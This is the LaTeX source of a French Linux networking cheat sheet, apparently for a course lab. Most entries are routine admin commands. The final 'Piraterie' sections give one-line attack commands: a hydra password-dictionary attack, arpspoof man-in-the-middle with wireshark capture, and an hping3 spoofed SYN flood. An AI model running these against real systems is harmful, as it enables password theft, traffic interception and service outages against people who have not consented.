\documentclass[10pt,a4paper]{article}

% Packages
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\usepackage{multicol}           % Allows multicols in tables
\usepackage{tabularx}           % Intelligent column widths
\usepackage{tabulary}           % Used in header and footer
\usepackage{hhline}             % Border under tables
\usepackage{graphicx}           % For images
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%\usepackage[utf8x]{inputenc}    % For unicode character support
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\usepackage{colortbl}           % For coloured tables
\usepackage{setspace}           % For line height
\usepackage{lastpage}           % Needed for total page number
\usepackage{seqsplit}           % Splits long words.
%\usepackage{opensans}          % Can't make this work so far. Shame. Would be lovely.
\usepackage[normalem]{ulem}     % For underlining links
% Most of the following are not required for the majority
% of cheat sheets but are needed for some symbol support.
\usepackage{amsmath}            % Symbols
\usepackage{MnSymbol}           % Symbols
\usepackage{wasysym}            % Symbols
%\usepackage[english,german,french,spanish,italian]{babel}              % Languages

% Document Info
\author{rodolphe}
\pdfinfo{
  /Title (linux-sysadmin-reseau.pdf)
  /Creator (Cheatography)
  /Author (rodolphe)
  /Subject (Linux Sysadmin réseau Cheat Sheet)
}

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% This two commands together give roughly
% the right line height in the tables
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% Commands
\newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour
\newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols
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\color{TextColor}

% Header and Footer
\pagestyle{fancy}
\fancyhead{} % Set header to blank
\fancyfoot{} % Set footer to blank
\fancyhead[L]{
\noindent
\begin{multicols}{3}
\begin{tabulary}{5.8cm}{C}
    \SetRowColor{DarkBackground}
    \vspace{-7pt}
    {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent
        \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}}
    }
\end{tabulary}
\columnbreak
\begin{tabulary}{11cm}{L}
    \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Linux Sysadmin réseau Cheat Sheet}}}} \\
    \normalsize{by \textcolor{DarkBackground}{rodolphe} via \textcolor{DarkBackground}{\uline{cheatography.com/208578/cs/44716/}}}
\end{tabulary}
\end{multicols}}

\fancyfoot[L]{ \footnotesize
\noindent
\begin{multicols}{3}
\begin{tabulary}{5.8cm}{LL}
  \SetRowColor{FootBackground}
  \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}}  \\
  \vspace{-2pt}rodolphe \\
  \uline{cheatography.com/rodolphe} \\
  \end{tabulary}
\vfill
\columnbreak
\begin{tabulary}{5.8cm}{L}
  \SetRowColor{FootBackground}
  \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}}  \\
   \vspace{-2pt}Not Yet Published.\\
   Updated 18th October, 2024.\\
   Page {\thepage} of \pageref{LastPage}.
\end{tabulary}
\vfill
\columnbreak
\begin{tabulary}{5.8cm}{L}
  \SetRowColor{FootBackground}
  \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}}  \\
  \SetRowColor{white}
  \vspace{-5pt}
  %\includegraphics[width=48px,height=48px]{dave.jpeg}
  Measure your website readability!\\
  www.readability-score.com
\end{tabulary}
\end{multicols}}




\begin{document}
\raggedright
\raggedcolumns

% Set font size to small. Switch to any value
% from this page to resize cheat sheet text:
% www.emerson.emory.edu/services/latex/latex_169.html
\footnotesize % Small font.

\begin{multicols*}{3}

\begin{tabularx}{5.377cm}{x{3.13551 cm} x{1.84149 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Gestion de l'interface réseau}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{voir ses interfaces actives}} & ip link \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
{\bf{allumer une carte réseau}} & ifup \textless{}interface\textgreater{} \tn 
% Row Count 4 (+ 2)
% Row 2
\SetRowColor{LightBackground}
{\bf{éteindre une carte réseau}} & ifdown \textless{}interface\textgreater{} \tn 
% Row Count 6 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\SetRowColor{LightBackground}
\mymulticolumn{2}{x{5.377cm}}{\textless{}interface\textgreater{} : eth0}  \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{2.83689 cm} x{2.14011 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Gestion des services}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{vérifier le status d'un service}} & systemctl status \textless{}service\textgreater{} \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
{\bf{démarrer un service}} & systemctl start \textless{}service\textgreater{} \tn 
% Row Count 4 (+ 2)
% Row 2
\SetRowColor{LightBackground}
{\bf{arrêter un service}} & systemctl stop \textless{}service\textgreater{} \tn 
% Row Count 6 (+ 2)
% Row 3
\SetRowColor{white}
{\bf{redémarrer un service}} & systemctl restart \textless{}service\textgreater{} \tn 
% Row Count 8 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\SetRowColor{LightBackground}
\mymulticolumn{2}{x{5.377cm}}{\textless{}service\textgreater{} : \textless{}nom\_du\_service\textgreater{} | \textless{}nom\_du\_service.service\textgreater{}}  \tn 
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{1.94103 cm} x{3.03597 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Serveur web}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{lancer (classique)}} & busybox httpd -f -vv -h /var/www/html \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
{\bf{lancer (sécurisé)}} & systemctl start lighttpd \tn 
% Row Count 4 (+ 2)
% Row 2
\SetRowColor{LightBackground}
{\bf{emplacement du site}} & /var/www/html \tn 
% Row Count 6 (+ 2)
% Row 3
\SetRowColor{white}
{\bf{générer une clé ssl}} & openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out nom.crt -keyout nom.key \tn 
% Row Count 10 (+ 4)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{2.88666 cm} x{2.09034 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Fichiers de configuration}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{nom de la machine}} & /etc/hostname \tn 
% Row Count 1 (+ 1)
% Row 1
\SetRowColor{white}
{\bf{gestion des dns}} & /etc/hosts \tn 
% Row Count 2 (+ 1)
% Row 2
\SetRowColor{LightBackground}
{\bf{gérer la passerelle réseau}} & \seqsplit{/etc/network/interfaces} \tn 
% Row Count 4 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{2.04057 cm} x{2.93643 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Gestion de la machine virtuelle}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{lancer les machines}} & \seqsplit{/mnt/netta/apps/vnet/nemu-vnet} netadm \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
{\bf{sauvegarder les machines}} & `poweroff`sur chacune des machines puis `save()`sur le terminal \tn 
% Row Count 5 (+ 3)
% Row 2
\SetRowColor{LightBackground}
{\bf{restaurer les machines}} & \seqsplit{/mnt/netta/apps/vnet/nemu-restore} ∼/vnet/netadm.tgz \tn 
% Row Count 8 (+ 3)
% Row 3
\SetRowColor{white}
{\bf{quitter nemu}} & `quit()` dans le terminal \tn 
% Row Count 10 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{2.4885 cm} x{2.4885 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{gestion du routeur}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{définir une machine comme routeur}} & echo 1 \textgreater{} \seqsplit{/proc/sys/net/ipv4/ip\_forward} \tn 
% Row Count 2 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{1.14471 cm} x{3.83229 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Piraterie (dictionnaire)}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{attaquer}} & hydra -V -f -l admin -P \textless{}fichier de mots de passe\textgreater{} http-get://\textless{}url victime\textgreater{} \tn 
% Row Count 3 (+ 3)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{1.94103 cm} x{3.03597 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Piraterie (Man in the middle)}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{arp spoof}} & arpspoof -t \textless{}victime\textgreater{} \textless{}routeur\textgreater{} \tn 
% Row Count 2 (+ 2)
% Row 1
\SetRowColor{white}
{\bf{lancer wireshark}} & wireshark -i eth0 -k \tn 
% Row Count 4 (+ 2)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}

\begin{tabularx}{5.377cm}{x{1.14471 cm} x{3.83229 cm} }
\SetRowColor{DarkBackground}
\mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Piraterie (DOS)}}  \tn
% Row 0
\SetRowColor{LightBackground}
{\bf{attaquer}} & hping3 -{}-flood -{}-syn -{}-spoof \textless{}IP source usurpée\textgreater{} \textless{}IP victime\textgreater{} \tn 
% Row Count 3 (+ 3)
\hhline{>{\arrayrulecolor{DarkBackground}}--}
\end{tabularx}
\par\addvspace{1.3em}


% That's all folks
\end{multicols*}

\end{document}